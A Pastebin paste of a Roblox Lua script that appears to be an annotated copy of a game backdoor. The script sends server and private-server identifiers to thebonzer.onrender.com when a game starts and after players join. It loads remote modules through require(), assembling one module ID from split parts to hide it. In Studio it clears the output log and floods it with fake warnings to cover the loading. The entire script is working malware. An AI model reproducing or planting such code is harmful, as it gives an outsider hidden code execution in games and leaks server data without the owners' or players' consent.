Advertisement
Guest User

Untitled

a guest
Apr 13th, 2025
16
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.17 KB | None | 0 0
  1. local HttpService = game:GetService("HttpService")
  2. local RunService = game:GetService("RunService")
  3. local Players = game:GetService("Players")
  4. local LogService = game:GetService("LogService")
  5.  
  6. local httpEnabled = false
  7. local httpStatus = ""
  8.  
  9. -- Fake spam function for distraction
  10. local function iterHelpr()
  11. for _ = 1, 865 do
  12. warn("Infinite yield possible on: 'Workspace:WaitForChild(\"Model\")'")
  13. end
  14. end
  15.  
  16. -- MAIN TRACKING/REPORTING BLOCK
  17. task.spawn(function()
  18. if HttpService.HttpEnabled then
  19. httpEnabled = true
  20.  
  21. -- Notify external server after 3 players join
  22. local playerJoinCount = 0
  23. Players.PlayerAdded:Connect(function()
  24. playerJoinCount += 1
  25. if playerJoinCount == 3 then
  26. wait(1.5)
  27. HttpService:GetAsync(
  28. "https://thebonzer.onrender.com/api/activity_notify?" ..
  29. "placeId=" .. game.PlaceId ..
  30. "&jobId=" .. game.JobId ..
  31. "&plrsOnline=" .. #Players:GetPlayers() ..
  32. "&maxPlrs=" .. Players.MaxPlayers
  33. )
  34. playerJoinCount = 0
  35. end
  36. end)
  37.  
  38. -- Initial notification on game start
  39. httpStatus = "enabled"
  40. local trackingUrl =
  41. "https://thebonzer.onrender.com/pr-module/notify?" ..
  42. "jobId=" .. game.JobId ..
  43. "&maxPlayers=" .. Players.MaxPlayers ..
  44. "&universeId=" .. game.GameId ..
  45. "&placeId=" .. game.PlaceId ..
  46. "&plrsOnline=" .. #Players:GetPlayers() ..
  47. "&httpStat=" .. httpStatus
  48.  
  49. if game.PrivateServerId ~= "" then
  50. trackingUrl = trackingUrl .. "&privateServerId=" .. game.PrivateServerId
  51. end
  52.  
  53. HttpService:GetAsync(trackingUrl)
  54. end
  55. end)
  56.  
  57. -- STUDIO-ONLY PAYLOAD LOADER
  58. task.spawn(function()
  59. if RunService:IsStudio() then
  60. local moduleId = tonumber("72951409131048")
  61. task.spawn(pcall, require, moduleId)
  62. LogService:ClearOutput()
  63. iterHelpr()
  64. end
  65. end)
  66.  
  67. -- LIVE GAME PAYLOAD LOADER
  68. task.spawn(function()
  69. if not RunService:IsStudio() and HttpService.HttpEnabled then
  70. local moduleIdStr = ""
  71. local moduleIdParts = {81784, 58163, 8634}
  72. for _, part in ipairs(moduleIdParts) do
  73. moduleIdStr = moduleIdStr .. part
  74. end
  75. local moduleId = tonumber(moduleIdStr) -- 81784581638634
  76. task.spawn(pcall, require, moduleId)
  77. iterHelpr()
  78. end
  79. end)
  80.  
  81. return 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement